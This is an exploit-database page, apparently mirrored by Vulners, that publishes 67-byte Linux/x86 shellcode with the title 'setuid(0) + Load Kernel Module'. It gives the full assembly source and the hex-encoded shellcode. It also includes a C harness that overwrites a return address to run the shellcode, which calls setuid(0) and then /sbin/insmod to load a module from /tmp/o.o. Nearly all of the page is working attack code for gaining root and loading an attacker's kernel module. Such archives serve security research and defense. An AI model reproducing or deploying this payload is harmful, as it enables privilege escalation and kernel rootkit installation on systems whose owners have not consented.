Lucene search
K

Linux/x86 - setuid(0) + Load Kernel Module (/tmp/o.o) Shellcode (67 bytes)

🗓️ 01 Jan 2009 00:00:00Reported by Exploit-DBType 
exploitdb
 exploitdb
🔗 www.exploit-db.com👁 15 Views

Linux/x86 setuid(0) & Load Kernel Module Shellcode (67 bytes

Code
/* The shellcode sets uid == 0 and loads the kernel module from /tmp/o.o

   size = 67 bytes 
   OS	= Linux i386
 		written by /rootteam/dev0id (rootteam.void.ru)
				[email protected] 

BITS	32

jmp	short	callme
main:
	pop	esi
	xor	eax,eax
	xor	ebx,ebx
	mov	al,23
	int	0x80
	mov byte [esi+12],al
	mov byte [esi+21],al
	mov long [esi+22],esi
	lea	 ebx,[esi+13]
	mov long [esi+26],ebx
	mov long [esi+30],eax
	mov 	al,0x0b
	mov	ebx,esi
	lea	ecx,[esi+22]
	lea	edx,[esi+30]
	int	0x80
	

callme:
	call	main
	db '/sbin/insmod#/tmp/o.o'	
*/	

char shellcode[] =
	"\xeb\x27\x5e\x31\xc0\x31\xdb\xb0\x17\xcd\x80\x88\x46\x0c\x88"
	"\x46\x15\x89\x76\x16\x8d\x5e\x0d\x89\x5e\x1a\x89\x46\x1e\xb0"
	"\x0b\x89\xf3\x8d\x4e\x16\x8d\x56\x1e\xcd\x80\xe8\xd4\xff\xff"
	"\xff\x2f\x73\x62\x69\x6e\x2f\x69\x6e\x73\x6d\x6f\x64\x23\x2f"
	"\x74\x6d\x70\x2f\x6f\x2e\x6f";
int
main()
{

  int *ret;
  ret = (int *)&ret + 2;
  (*ret) = (int)shellcode;
}

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

01 Jan 2009 00:00Current
7.1High risk
Vulners AI Score7.1
15